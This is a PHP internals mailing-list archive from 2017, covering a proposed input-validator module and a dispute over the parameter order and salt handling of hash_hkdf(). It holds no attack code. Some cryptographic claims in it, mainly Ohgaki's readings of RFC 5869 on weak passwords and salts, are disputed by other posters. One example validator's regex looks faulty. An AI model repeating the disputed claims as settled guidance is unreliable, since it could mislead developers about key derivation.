Hi Stephen, On Tue, Sep 12, 2017 at 6:07 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > Would you like me to propose previous RFC again? > and implement "ture validation" with filter? > I don't mind implementing it if you would like to update the RFC and it > passes. > It must use "white list" as much as possible. > BTW, the patch mentioned here https://wiki.php.net/rfc/add_validate_functions_to_filter is seriously broken by merge and it does not work currently. I didn't look into details, but it seems some codes are gone by merge. Previous patch is written so that there are less changes. If you're serious about proposing "filter" improvement, I don't mind make it work again. (And improve further. It's PoC in the first place.) Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] A validator module for PHP7
Stephen,
On Tue, Sep 12, 2017 at 12:22 AM, Stephen Reay <php-li...@koalephant.com>
wrote:
>
> On 11 Sep 2017, at 17:41, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
>
> Hi Stephen,
>
> On Mon, Sep 11, 2017 at 6:37 PM, Stephen Reay <php-li...@koalephant.com>
> wrote:
>
> On 11 Sep 2017, at 15:42, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
>
> It seems you haven't try to use filter module seriously.
> It simply does not have enough feature for input validations.
> e.g. You cannot validate "strings".
>
>
> Yasuo,
>
> I’ve asked previously what your proposal actually offers over the filter
> functions, and got no response, so please elaborate on this?
>
>
>
> Can you show a concrete example that cannot be validated in user land
> currently, using the filter functions as a base?
>
>
> FILTER_VALIDATE_REGEXP is not good enough simply.
> PCRE is known that it is vulnerable to regex DoS still. (as well as
> Oniguruma)
> Users should avoid regex validation whenever it is possible also to avoid
> various
> risks.
>
> In addition, current filter module does not provide nested array validation
> array key validation, etc. It's not true validation neither. It does not
> provide
> simple length, min/max validations. It does non explicit conversions (i.e.
> trim), etc.
> Length, min/max validation is mandatory validation if you would like to
> follow
> ISO 27000 requirement.
>
> Regards,
>
> --
> Yasuo Ohgaki
> yohg...@ohgaki.net
>
>
>
> So, you still didn’t actually provide an example. I *guess* you’re talking
> about character class validation or something else equally “simple”,
> because I can’t imagine what else would be a common enough case that you’d
> want to have built-in rules for, and that you wouldn’t internally use
> RegExp to test anyway.
>
Your request is like "Devil's Proof". Example code that cannot do things
with existing API cannot exist with meaningful manner. It can be explained
why it cannot, though. Try what "validate" string validator can do,
Then you'll see.
$input = [
'defined_but_should_not_exist' => 'Developer should not allow unwanted
value',
'_invalid_utf8_key_should_not_be_allowed_' => 'Developer should validate
key value as well',
'utf8_text' => 'Validator should be able to allow UTF-8 and validate its
validity at least',
'default_must_be_safe' => 'Crackers send all kinds of chars. CNTRL chars
must not be allowed by default',
'array' => [
'complex' => 1,
'nested' => 'any validation rule should be able to be applied',
'array' => 1,
'key_should_be_validated_also' => 1,
'array' => [
'any_num_of_nesting' => 'is allowed',
],
],
'array_num_elements_must_be_validated' => [
"a", "b", "c", "d", "e", "f", "and so on", "values must be able to be
validated as user wants",
],
];
There is no STRING validation filter currently. This fact alone,
it could be said "filter cannot do string validation currently".
List of problems in current validation filter
- no STRING validator currently
- it allows any inputs by default
- it does not allow multiple rules that allows complex validation rules
for string
- it does not have callback validator
- it does not have key value validation (note: PHP's key could be binary)
- it does not validate num of elements in array.
- it cannot forbids unwanted elements in array.
- it cannot validate "char encoding".
- it does not enforce white listing.
- and so on
These are the list that "filter" cannot do.
Ok so we can’t use filter_var() rules to validate that a string field is an
> Alpha or AlphaNum, between 4 and 8 characters long (technically you could
> pass mb_strlen() to the INT filter with {min,max}_range options set to get
> the length validation, but I’ll grant you that *is* kind of a crappy
> workaround right now)
>
> Why not stop trying to re-invent every single feature already present in
> PHP (yes, I’ve been paying attention to all your other proposals), and just
> *add* the functionality that’s missing:
>
https://wiki.php.net/rfc/add_validate_functions_to_filter
It's _declined_. You should have supported this RFC if you would like to
add features to filter.
(I'm glad there is a new RFC supporter regardless of occasion)
I don't mind this result much.
Adding features to "filter" has some of shortcomings mentioned above
even with my proposal.
A `FILTER_VALIDATE_STRING` filter, with “Options” of `min` => ?int, `max`
> => ?int and “Flags” of FILTER_FLAG_ALPHA, FILTER_FLAG_NUMERIC (possibly a
> built in bit mask “FILTER_FLAG_ALPHANUMERIC” ?)
>
Simply adding these w
Re: [PHP-DEV] A validator module for PHP7
Hi Stephen, On Mon, Sep 11, 2017 at 6:37 PM, Stephen Reay <php-li...@koalephant.com> wrote: > On 11 Sep 2017, at 15:42, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > > It seems you haven't try to use filter module seriously. > It simply does not have enough feature for input validations. > e.g. You cannot validate "strings". > > > Yasuo, > > I’ve asked previously what your proposal actually offers over the filter > functions, and got no response, so please elaborate on this? > > Can you show a concrete example that cannot be validated in user land > currently, using the filter functions as a base? > FILTER_VALIDATE_REGEXP is not good enough simply. PCRE is known that it is vulnerable to regex DoS still. (as well as Oniguruma) Users should avoid regex validation whenever it is possible also to avoid various risks. In addition, current filter module does not provide nested array validation array key validation, etc. It's not true validation neither. It does not provide simple length, min/max validations. It does non explicit conversions (i.e. trim), etc. Length, min/max validation is mandatory validation if you would like to follow ISO 27000 requirement. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] A validator module for PHP7
Hi Tony, On Sat, Sep 9, 2017 at 6:26 PM, Tony Marston <tonymars...@hotmail.com> wrote: > "Yasuo Ohgaki" wrote in message news:CAGa2bXa4UvkL-ZsLAB2bF05L > 4q_oduixszvvyzu9nddksvt...@mail.gmail.com... > >> >> Hi Tony, >> >> > >> >>> As a person who has been developing database applications for several >>> decades and with PHP since 2003 I'd like to chip in with my 2 cent's >>> worth. >>> Firstly I agree with Dan's statement: >>> >>> This type of library should be done in PHP, not in C. >>> >>> Secondly, there is absolutely no way that you can construct a standard >>> library which can execute all the possible validation rules that may >>> exist. >>> In my not inconsiderable experience there are two types of validation: >>> 1) Primary validation, where each field is validated against the column >>> specifications in the database to ensure that the value can be written to >>> that column without causing an error. For example this checks that a >>> number >>> is a number, a data is a date, a required field is not null, etc. >>> 2) Secondary validation, where additional validation/business rules are >>> applied such as comparing the values from several fields. For example, to >>> check that START_DATE is not later than END_DATE. >>> >>> >>> Primary validation is easy to automate. I have a separate class for each >>> database table, and each class contains an array of field specifications. >>> This is never written by hand as it is produced by my Data Dictionary >>> which >>> imports data from the database schema then exports that data in the form >>> of >>> table class files and table structure files. When data is sent to a table >>> class for inserting or updating in the database I have written a standard >>> validation procedure which takes two arrays - an array of field=value >>> pairs >>> and a array of field=specifications - and then checks that each field >>> conforms to its specifications. This validation procedure is built into >>> the >>> framework and executed automatically before any data is written to the >>> database, so requires absolutely no intervention by the developer. >>> >>> Secondary validation cannot be automated, so it requires additional code >>> to be inserted into the relevant validation method. There are several of >>> these which are defined in my abstract table class and which are executed >>> automatically at a predetermined point in the processing cycle. These >>> methods are defined in the abstract class but are empty. If specific code >>> is required then the empty class can be copied from the abstract class to >>> the concrete class where it can be filled with the necessary code. >>> >>> If there are any developers out there who are still writing code to >>> perform primary validation then you may learn something from my >>> implementation. >>> >>> If there are any developers out there who think that secondary validation >>> can be automated I can only say "dream on". >>> >>> >> Please let me explain rationale behind input validation at outermost trust >> boundary. There are 3 reasons why I would like propose the validation. >> All of 3 >> requires validation at outermost trust boundary. >> >> 1. Security reasons >> Input validation should be done with Fail Fast manner. >> > > The language should only provide the basic features which allow values to > be validated. That is what the filter functions are for. All that is > necessary is for user input to be validated before any attempt is made to > write it to the database. The reason why data should be validated at outermost trust boundary is explained by me and other. Validation at database level is simply too late for security purposes. Input validations must be done at outermost boundary for the best security. This is a secure coding best practice. 2. Design by Contract (DbC or Contract Programming) >> In order DbC to work, validations at outermost boundary is mandatory. >> With DbC, all inputs are validated inside functions/methods to make sure >> correct program executions. >> > > Irrelevant. DbC is a methodology which PHP was never designed to support, > and I see no reason why it should. If you really want DbC then switch to a > language which supports it, or use a third-party extension which provides > supports. DbC is ad-hoc. No BC nor shortcomings. All most all languag
Re: [PHP-DEV] Re: hash_hkdf() signature and return value
Hi Niklas, On Fri, Sep 8, 2017 at 7:27 PM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > Hi Niklas, > > On Fri, Sep 8, 2017 at 6:38 PM, Niklas Keller <m...@kelunik.com> wrote: > >> I finally find out what's wrong. >>> >> >> No, you didn't. You still want to use user-supplied passwords as IKM. >> HKDF is not suited for that purpose. >> > > Andrey and Nikita clearly misunderstood the RFC 5869. > This is what was wrong in previous discussions. > > Weak key usage is smaller issue as I insisted HKDF is perfectly > good for CSRF token, API keys and URI signing. These 3 would be > the most common PHP HKDF applications. > > What do you mean by "No, you didn't"? > > I totally agree with that weak key has more risks. > The risk is too obvious for any algorithms. > Suppose we have "A" as the key, there is no protection at all. > Not even PBKDF2 or anything can protect such passwords. > > I think you don't mean users shouldn't use key derivation with password. > Users may use HKDF and password with the security level of the password. > I was thinking in password hashing context, not key derivation. I was wrong. (as well as you) I take it back last statement. Even with super weak passwords, attackers cannot guess the derived keys when "Salt" is used properly. i.e. Strong random "secret" salt makes derived key a perfect random. Although, there is minor issues (i.e. misuse), users can safely use HKDF with any passwords. Now, please discuss the most important. Are we going to fix the hash_hkdf() API mess or not? Regards, -- Yasuo Ohgaki
Re: [PHP-DEV] Re: hash_hkdf() signature and return value
Hi Niklas, On Fri, Sep 8, 2017 at 6:38 PM, Niklas Keller <m...@kelunik.com> wrote: > I finally find out what's wrong. >> > > No, you didn't. You still want to use user-supplied passwords as IKM. HKDF > is not suited for that purpose. > Andrey and Nikita clearly misunderstood the RFC 5869. This is what was wrong in previous discussions. Weak key usage is smaller issue as I insisted HKDF is perfectly good for CSRF token, API keys and URI signing. These 3 would be the most common PHP HKDF applications. What do you mean by "No, you didn't"? I totally agree with that weak key has more risks. The risk is too obvious for any algorithms. Suppose we have "A" as the key, there is no protection at all. Not even PBKDF2 or anything can protect such passwords. I think you don't mean users shouldn't use key derivation with password. Users may use HKDF and password with the security level of the password. RFC 5689 - https://tools.ietf.org/html/rfc5869#section-3.3 >> >> In some applications, the input key material IKM may already be >> present as a cryptographically strong key. In this case, one can skip the >> extract part and use IKM directly to key HMAC in the expand step. >> - >> >> Therefore, you are debating "IKM should be strong always" and >> "salt is pure optional parameter". >> > > Yes, HKDF might be used for lower-entropy IKM, but not for short inputs > like passwords. The extract part requires a large low-entropy input to > concentrate the entropy into a smaller output. HKDF doesn't add / amplify > entropy, but it can concentrate a larger low-entropy input to a > smaller output with entropy. > > Further reading material: https://eprint.iacr.org/2010/264.pdf > Thank you nice reading. I've read briefly. It sounded like SHA-2 and SHA-3 difference that could be ignored in practice now. Now issue is whether we'll fix the improper and inconsistent API or not. Thank you Niklas, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Re: hash_hkdf() signature and return value
Hi all,
I finally find out what's wrong.
Andrey and Nikita, you missed
RFC 5689 - https://tools.ietf.org/html/rfc5869#section-3.3
In some applications, the input key material IKM may already be
present as a cryptographically strong key. In this case, one can skip the
extract part and use IKM directly to key HMAC in the expand step.
-
Therefore, you are debating "IKM should be strong always" and
"salt is pure optional parameter".
The section 3.3 is clearly expecting and allowing "weak keys", isn't it?
Existence of "salt" parameter is the evidence.
No wonder why you couldn't present reasonable example codes w/o salt.
Salt should/must be used for both strong and weak keys for better and
mandatory security.
Regards,
P.S. Thank you Niklas! Now we will have conclusion.
--
Yasuo Ohgaki
yohg...@ohgaki.net
On Fri, Sep 8, 2017 at 5:44 PM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
> Hi Niklas,
>
> On Fri, Sep 8, 2017 at 4:57 PM, Niklas Keller <m...@kelunik.com> wrote:
>
>> Note for others: "The extract step in HKDF can concentrate existing
>>> entropy
>>> but cannot amplify entropy." is not came from the RFC. If a RFC states
>>> this I would be stunned. Please read on you'll see the evidence.
>>>
>>
>> This is ridiculous. Be stunned. It's right in the section about
>> applications of HKDF: https://tools.ietf.org/html/rfc5869#section-4, in
>> the middle of the second paragraph.
>>
>> Please stop, it's enough.
>>
>
> This is my bad I didn't understand "amplify" well.
> I mixed up "add" and "amplify" I admit this.
> However, the reason why I mixed up is Andrey's misunderstanding about
> HMAC nature.
>
> Andrey's words.
> --
>The extract step in HKDF can concentrate existing entropy but
> cannot amplify entropy.
>
> Which means that it is NOT designed to do key stretching, or in other
> words it should NOT be relied upon to produce strong outputs from weak
> inputs - the exact scenario for which you wanted to make salts
> non-optional.
> ---
>
> Following is wrong by HMAC nature.
> ---
> it should NOT be relied upon to produce strong outputs from weak
> inputs
> ---
>
> Who would think resulting $hash of following is insecure?
> $hash = hash_hmac('sha256', $weak_msg, $strong_key);
>
>
>
> RFC-5689 - https://tools.ietf.org/html/rfc5869#section-4
> -
> One significant example is the derivation of cryptographic
> eys from a source of low entropy, such as a user's password. The
> extract step in HKDF can concentrate existing entropy but cannot
> amplify entropy. In the case of password-based KDFs, a main goal is
> to slow down dictionary attacks using two ingredients: a salt value,
> and the intentional slowing of the key derivation computation. HKDF
> naturally accommodates the use of salt; however, a slowing down
> mechanism is not part of this specification. Applications interested
> in a password-based KDF should consider whether, for example, [PKCS5]
> meets their needs better than HKDF.
> -
>
> This whole sentence means HKDF cannot be used like PBKDF2. That's all.
> This is does not support Andrey's statement
> ---
> it should NOT be relied upon to produce strong outputs from weak
> inputs
> ---
>
> Instead, he should read this section.
>
> RFC 5689 - https://tools.ietf.org/html/rfc5869#section-3.3
>
> In some applications, the input key material IKM may already be
> present as a cryptographically strong key. In this case, one can skip the
> extract part and use IKM directly to key HMAC in the expand step.
> -
>
> "one can skip the extract part" is "one can omit salt".
>
> Obviously, the RFC is prepared for weak keys and it is perfectly OK to
> use weak keys unlike Andrey statement.
>
> If IKM should be strong always, HKDF would NOT have salt at all.
> However, HKDF has salt.
> Weak IKM is explicitly allowed by HKDF definition.
>
> Andrey, sorry for my confusion, but your claim is wrong by HKDF
> (HMAC) definition still.
>
> Regards,
>
> --
> Yasuo Ohgaki
> yohg...@ohgaki.net
>
>
>
Re: [PHP-DEV] Re: hash_hkdf() signature and return value
Hi Niklas,
On Fri, Sep 8, 2017 at 4:57 PM, Niklas Keller <m...@kelunik.com> wrote:
> Note for others: "The extract step in HKDF can concentrate existing
>> entropy
>> but cannot amplify entropy." is not came from the RFC. If a RFC states
>> this I would be stunned. Please read on you'll see the evidence.
>>
>
> This is ridiculous. Be stunned. It's right in the section about
> applications of HKDF: https://tools.ietf.org/html/rfc5869#section-4, in
> the middle of the second paragraph.
>
> Please stop, it's enough.
>
This is my bad I didn't understand "amplify" well.
I mixed up "add" and "amplify" I admit this.
However, the reason why I mixed up is Andrey's misunderstanding about
HMAC nature.
Andrey's words.
--
The extract step in HKDF can concentrate existing entropy but
cannot amplify entropy.
Which means that it is NOT designed to do key stretching, or in other
words it should NOT be relied upon to produce strong outputs from weak
inputs - the exact scenario for which you wanted to make salts
non-optional.
---
Following is wrong by HMAC nature.
---
it should NOT be relied upon to produce strong outputs from weak
inputs
---
Who would think resulting $hash of following is insecure?
$hash = hash_hmac('sha256', $weak_msg, $strong_key);
RFC-5689 - https://tools.ietf.org/html/rfc5869#section-4
-
One significant example is the derivation of cryptographic
eys from a source of low entropy, such as a user's password. The
extract step in HKDF can concentrate existing entropy but cannot
amplify entropy. In the case of password-based KDFs, a main goal is
to slow down dictionary attacks using two ingredients: a salt value,
and the intentional slowing of the key derivation computation. HKDF
naturally accommodates the use of salt; however, a slowing down
mechanism is not part of this specification. Applications interested
in a password-based KDF should consider whether, for example, [PKCS5]
meets their needs better than HKDF.
-
This whole sentence means HKDF cannot be used like PBKDF2. That's all.
This is does not support Andrey's statement
---
it should NOT be relied upon to produce strong outputs from weak
inputs
---
Instead, he should read this section.
RFC 5689 - https://tools.ietf.org/html/rfc5869#section-3.3
In some applications, the input key material IKM may already be
present as a cryptographically strong key. In this case, one can skip the
extract part and use IKM directly to key HMAC in the expand step.
-
"one can skip the extract part" is "one can omit salt".
Obviously, the RFC is prepared for weak keys and it is perfectly OK to
use weak keys unlike Andrey statement.
If IKM should be strong always, HKDF would NOT have salt at all.
However, HKDF has salt.
Weak IKM is explicitly allowed by HKDF definition.
Andrey, sorry for my confusion, but your claim is wrong by HKDF
(HMAC) definition still.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] Re: hash_hkdf() signature and return value
Hi Andrey,
On Fri, Sep 8, 2017 at 8:14 AM, Andrey Andreev <n...@devilix.net> wrote:
> Hi,
>
> On Fri, Sep 8, 2017 at 12:32 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
> >
> > The reason why latter is a lot more secure is related to Andrey's
> > misunderstanding.
> > He said "when ikm is cryptographically strong, salt wouldn't add no more
> > entropy.
> > so salt does not matter". (not exact sentence)
> > What he said partially true, but wrong in a sense of key security.
> >
>
> I have never said that. You are aware enough of your own English
> fluency, and should know not to perephrase other people's words, as
> you are completely twisting their meaning.
>
My words:
---
He said "when ikm is cryptographically strong, salt wouldn't add no more
entropy. so salt does not matter". (not exact sentence)
---
This is your exact words.
--
And this doesn't stop at passwords. Please note that this paragraph
explicitly states this:
The extract step in HKDF can concentrate existing entropy but
cannot amplify entropy.
Which means that it is NOT designed to do key stretching, or in other
words it should NOT be relied upon to produce strong outputs from weak
inputs - the exact scenario for which you wanted to make salts
non-optional.
---
Although you are referring other sentences from somewhere, it is obvious
this is your thought as well.
Note for others: "The extract step in HKDF can concentrate existing entropy
but cannot amplify entropy." is not came from the RFC. If a RFC states
this I would be stunned. Please read on you'll see the evidence.
> >
> > Other misunderstanding should be noted is what HKDF for. It's for general
> > purpose KDF as the RFC described in HKDF application section. Andrey said
> > "I'm cherry picking sentence", but the section should be what the HKDF
> for.
> > The section even describes obscure usage, HKDF for CSPRNG. This usage
> > is not even key derivation.
> >
>
> You ARE cherry-picking, and ignoring all evidence that contradicts you:
>
HKDF is general purpose KDF by its design, obviously.
The RFC has "Application of HKDF" section that states
RFC 5680 - https://tools.ietf.org/html/rfc5869#section-4
-
HKDF is intended for use in a wide variety of KDF applications.
-
"Wide variety of KDF applications" even includes non KDF operation like
CSPRNG. Your statement makes no sense.
> > This one I'm not sure misunderstanding or not, but probably it is.
> > HKDF is designed for any ikm and works with appropriate usage. Very
> > weak ikm like user entered password can be handled relatively safely.
> >
> > $safe_key = hash_hkdf("sha256", 'mypassword', 0, '',
> > $csprng_generated_random_key);
> > // $csprng_generated_random_key should be kept secret because ikm is too
> > weak
> >
> > Without salt, it's disaster. Please note that salt is the last optional
> > parameter currently.
> >
> > $dangerous_key = hash_hkdf("sha256", 'mypassword'); // Disaster!
> >
> > With this usage, attackers can build pre hashed dictionary. Even when
> they
> > don't have
> > dictionary, usual brute force attack is very effective. One may think
> > additional hashing
> > would mitigate risk. i.e.
> >
> > $dangerous_key = hash_hkdf("sha256", hash("sha256", 'mypassword')); //
> > Disaster!
> >
> > This does not help much when algorithm is known to attackers. Brute force
> > attack is
> > effective still. Adding secret salt(key) helps with this usage also.
> >
>
> IKM must always be strong; this is explicitly stated in the RFC, as I
> already pointed out here: https://externals.io/message/98639#98874
> And the reasons why were already explained in very simple terms here:
> https://externals.io/message/98250#98272
>
> Enough already.
>
Weak key is allowed by the RFC.
These are sentences from the RFC.
RFC 5689 - https://tools.ietf.org/html/rfc5869#section-3.3
In some applications, the input key material IKM may already be
present as a cryptographically strong key (for example, the premaster
secret in TLS RSA cipher suites would be a pseudorandom string,
except for the first two octets). In this case, one can skip the
extract part and use IKM directly to key HMAC in the expand step.
-
Note: expand step is HKDF-Expand(PRK, info, L) -> OKM, which is supposed
to expand length of resulting hash.
Obviously, your statement is wrong.
If I'm reading it correctly, salt may be omitted only when input key is
already strong.
i.e. This means weak key and strong salt results in strong PRK where PRK =
HMAC-Hash(salt, IKM)
However, &qu
[PHP-DEV] Re: hash_hkdf() signature and return value
Hi RMs,
I suppose nobody can give example(s) that justify current API.
I'll leave this issue to RMs decision, since I think this result in no
conclusion.
Please consider carefully if the current API should be kept or not.
I wrote summary for discussion for you.
Regards,
Misunderstandings summary from previous discussion:
Nikita misunderstood what HKDF is made for.
He said key derivation that generates AES 128 bit key from AES 256 bit key
for
compatibility reason as follows is "textbook example" and
good(recommended?)
usecase.
$sha128key = hash_hkdf("sha256", $sha256key, 16);
Although this could be acceptable useage when salt cannot be used, but not
recommended. HKDF is specifically designed to discourage this kind of key
derivation because this is weak. The RFC strongly encourage salt use for
key security. Appropriate key derivation is
$sha128key = hash_hkdf("sha256", $sha256key, 32, "",
$csprng_generated_random_key);
// Store $cspring_generated_ random_key to somewhere.
The reason why latter is a lot more secure is related to Andrey's
misunderstanding.
He said "when ikm is cryptographically strong, salt wouldn't add no more
entropy.
so salt does not matter". (not exact sentence)
What he said partially true, but wrong in a sense of key security.
When ikm has enough entropy, HKDF does not add more entropy.
However, even when ikm is strong, additional salt adds significant
complexities
for key analysis. To make things simpler, suppose we have very simple KDF
as follows.
okm = VSKDF(ikm, salt) where
- okm, ikm, salt is 2 digit int
- when salt is NULL, default to 2
- VSKDF is simple function that multiply ikm and salt (ikm * salt) returns
last 2 digits
as derived key.
When ikm=64, salt=NULL
28 = VSKDF(64, NULL);
Since algorithm is known, attackers are able to guess ikm very easily.
Now, suppose salt=16 is provided
24 = VSKDF(64, 16);
It is still easy to guess due to very simple KDF, but guessing ikm is a lot
harder
than previous example while it does not add any entropy.
HKDF has a lot more complex algorithm, therefore salt gives significantly
stronger
key protection even when salt is disclosed as noted in the RFC.
Other misunderstanding should be noted is what HKDF for. It's for general
purpose KDF as the RFC described in HKDF application section. Andrey said
"I'm cherry picking sentence", but the section should be what the HKDF for.
The section even describes obscure usage, HKDF for CSPRNG. This usage
is not even key derivation.
This one I'm not sure misunderstanding or not, but probably it is.
HKDF is designed for any ikm and works with appropriate usage. Very
weak ikm like user entered password can be handled relatively safely.
$safe_key = hash_hkdf("sha256", 'mypassword', 0, '',
$csprng_generated_random_key);
// $csprng_generated_random_key should be kept secret because ikm is too
weak
Without salt, it's disaster. Please note that salt is the last optional
parameter currently.
$dangerous_key = hash_hkdf("sha256", 'mypassword'); // Disaster!
With this usage, attackers can build pre hashed dictionary. Even when they
don't have
dictionary, usual brute force attack is very effective. One may think
additional hashing
would mitigate risk. i.e.
$dangerous_key = hash_hkdf("sha256", hash("sha256", 'mypassword')); //
Disaster!
This does not help much when algorithm is known to attackers. Brute force
attack is
effective still. Adding secret salt(key) helps with this usage also.
Please remember crypt() abuse history. We should imagine similar thing
could happen
with hash_hkdf() API. Current API encourages misuse/abuse too much by making
salt the last optional parameter.
Better documentation may help, "Users must use random $salt always whenever
it is possible even if it is the last optional parameter.".
However, do we really keep this mess forever? for a new function?
(BTW, Nikita, are you going to take your statement back or not. It's too
impolite)
--
Yasuo Ohgaki
yohg...@ohgaki.net
On Wed, Sep 6, 2017 at 10:15 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
> Hi all,
>
> This is the last recommendation for hash_hkdf[1]. In fact,
> this would be the last chance to fix because we'll have 7.2 soon.
> The issue is secure usage and API consistency.
>
> Currently hash_hkdf() has following signature:
>
> hash_hkdf(string $algo , string $ikm [, int $length = 0 [,
> string $info = '' [, string $salt = '' ]]] )
>
> These are rationals behind recommendation. There are many, but
> please read on.
>
> === Parameter Order ===
>
> HKDF[2] algorithm is:
> 1. General purpose key derivation function as per RFC 5869
> 2. "$salt" parameter is a "pre-shared _KEY_" in many cases as mentioned
> RFC 5869
> 3. "$salt" (or preshared key) is very strongly recommended for security
> season a
Re: [PHP-DEV] A validator module for PHP7
n DbC is disabled. Otherwise, DbC may not work. (DbC is supposed to achieve both secure and efficient code execution.) 3. Native PHP Types Although my validate module is designed not to do unwanted conversions, but it converts basic types to PHP native types by default. (This can be disabled) With this conversion at outermost trust boundary, native PHP type works fluently. Although, my current primary goal is 1, but 2 and 3 is important as well. 2 is important especially. Providing DbC without proper basic validation feature does not make much sense, and could be disaster. Users may validate input with their own validation library, but my guess is pessimistic. User wouldn't do proper validation due to too loose validation libraries and rules. There are too few validators that do true validations that meet requirements for 1 and 2. IMHO, even if there are good enough validators, PHP should provide usable validator for core features. (DbC is not implemented, though) I hope you understand my intentions and accept the feature in core. Feature for core should be in core. IMO. > 1) Primary validation, where each field is validated against the column specifications in the database to ensure that the value can be written to that column without causing an error. For example this checks that a number is a number, a data is a date, a required field is not null, etc. > 2) Secondary validation, where additional validation/business rules are applied such as comparing the values from several fields. For example, to check that START_DATE is not later than END_DATE. Validation rules for input, logic and database may differ. Suppose you validate "user comment" data. Input:0 -10240 bytes - Input might have to allow larger size than logic. i.e. lacks client side validation. Logic: 10 - 1024 bytes - Logic may require smaller range as correct data. Database: 0 - 102400 bytes - Database may allow much larger size for future extension. Under ideal situation, all of these may be the same but they are not in real world. I wouldn't aim to consolidate all validations, but I would like to avoid unnecessary incompatibilities so that different validations can cooperate if it is possible. I'm very interested in PDO level validation because SQLite3 could be very dangerous. (i.e. Type affinity allows store strings in int/float/date/etc) It may be useful if PDO can simply use "validate" module's rule or API. BTW, Input validation should only validate format(used char, length, range, encoding) if we follow single responsibility principle. Logical correctness is upto logic. i.e. Model in MVC. Anyway, goal is providing usable basic validator for core features and security. Required trade offs may be allowed. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] hash_hkdf() signature and return value
Hi Dan, Sorry for keep posting broken English. I shouldn't difficult. > It shouldn't be difficult. Looking forward more than handful, useful and common hash_hkdf() application examples for PHP that justify the API. If you would not like to spend time for working code, just ideas are OK also. Regards, Yasuo
Re: [PHP-DEV] hash_hkdf() signature and return value
Hi Dan, I appreciate your feedback, regardless of your opinion towards this issue. On Wed, Sep 6, 2017 at 8:04 PM, Dan Ackroyd <dan...@basereality.com> wrote: > On 6 September 2017 at 02:15, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > > What should we do for this? > > Not us, you. > OK. It is recorded that you think current API is totally valid. I'm not sure who is "us". Please reply and record your opinion. > > You should start listening to other people's feedback. > > You continually refuse to accept any feedback that doesn't agree with > your world-view, not only on the subject of hkdf, but on validation > and other things you think are "MANDATORY" > Well, my thoughts are not totally my inventions. For HKDF, it came from the RFC 5689 basically. For input validations, it is originated in Defensive Programming. Defensive Programming is referred in early 90's AFAIK, it is called secure programming or secure coding now. I believe the basic idea was developed 60's computer scientists who researched program execution correctness verification methods. You should respect RFC votes and stop bringing up the same discussions > over and over again. This is incredibly tedious. > Did you really read the RFC 5689? Please mention what is wrong with my statements if you think my statements are totally wrong. It should be easy to point it out, since I provided many points. This is technical list, not political list nor religious list after all. I should note that no valid code example was presented that justifies current API. Not a single valid code example, yet. This fact infers what you say "us" have concrete reason(s) that supports current API validity. Please provide undisclosed valid code example that would be more common than CSRF token and API token derivations. There are even more URL singing, etc in my PHP RFC. > In particular your suggestion about hash_hkdf was rejected > unanimously, apart from your own vote > https://wiki.php.net/rfc/improve_hash_hkdf_parameter and so probably > shouldn't be brought up for discussion, except if you can bring new > facts for discussion. > If any one of you provided example usages that would be common, valid (and optimal, it should be optimal since HKDF is designed for the best possible derived key with HMAC), I would not raise this issue again. > > "Not liking the result of the vote" is not a new fact to discuss. > Sorry but, I'm not liking the vote result. I'm frustrating the fact there is no code example(s) justifies current API design that is insecure and inconsistent. Additionally though, your ideas about adding validation/filter > functions as a C extension, rather than implementing them in PHP have > also been resoundingly rejected, > https://wiki.php.net/rfc/add_validate_functions_to_filter and yet you > continue to promote the idea. This is also tedious. > It's totally new module. I already replied to your comments in other thread. Apparently, you are ignoring single responsibility principle. Please take into the principle into your thoughts. This pattern of behaviour, continually refusing to accept that other > people have opinions that don't align with yours, and continually > bringing up the same topics for discussion over, and over, and over > again is not productive. It does not make people want to engage you in > discussion, as it is a waste of their time. This is not something > other people can fix for you. > As I wrote _MANY_ times in past mails. I would have stopped discussion, if there are example codes that justify the API. Sorry for repeating requests, but this is technical list and no evidence is provided. If you really think my statements are wrong. Please comment each line by replying "wrong" so that your idea becomes more clear. I shouldn't difficult. I provided more than handful valid use cases in my PHP RFC. The technical evidence should not be difficult. It's just example(s). I'm waiting. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] A validator module for PHP7
Hi Dan
On Wed, Sep 6, 2017 at 8:38 PM, Dan Ackroyd <dan...@basereality.com> wrote:
> On 6 September 2017 at 12:15, Rowan Collins <rowan.coll...@gmail.com>
> wrote:
>
> > If you have suggestions for how the format should look
>
> Don't use a format. Just write code - see below.
>
> > Which is why Yasuo and I have both suggested we work together
>
> If you're going to work together and continue the conversation, please
> can you move this conversation elsewhere?
>
> It doesn't appear to be actually anything to do with PHP internals.
>
> On 4 September 2017 at 07:33, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
> >
> > Since I didn't get much feedbacks during the RFC discussion, I cannot
> tell
> > what part is disliked.
>
> Yes you did. You got feedback during the discussion and also during
> the vote. For example: http://news.php.net/php.internals/95164
>
> However you continually choose to ignore that feedback.
>
> I will attempt once more, to get the main point through to you.
> Perhaps a small amount of repetition, will get it through:
>
> This type of library should be done in PHP, not in C.
> This type of library should be done in PHP, not in C.
> This type of library should be done in PHP, not in C.
> This type of library should be done in PHP, not in C.
> This type of library should be done in PHP, not in C.
> This type of library should be done in PHP, not in C.
> This type of library should be done in PHP, not in C.
> This type of library should be done in PHP, not in C.
> This type of library should be done in PHP, not in C.
> This type of library should be done in PHP, not in C.
> This type of library should be done in PHP, not in C.
>
> cheers
> Dan
> Ack
>
>
> function validateOrderAmount($value) : int {
> $count = preg_match("/[^0-9]*/", $value);
>
> if ($count) {
> throw new InvalidOrderAmount("The order value must contain
> only digits.");
> }
>
> $value = intval($value);
>
> if ($value < 1) {
> throw new InvalidOrderAmount("The order value must be one or
> more.");
> }
>
> if ($value >= MAX_ORDER_AMOUNT) {
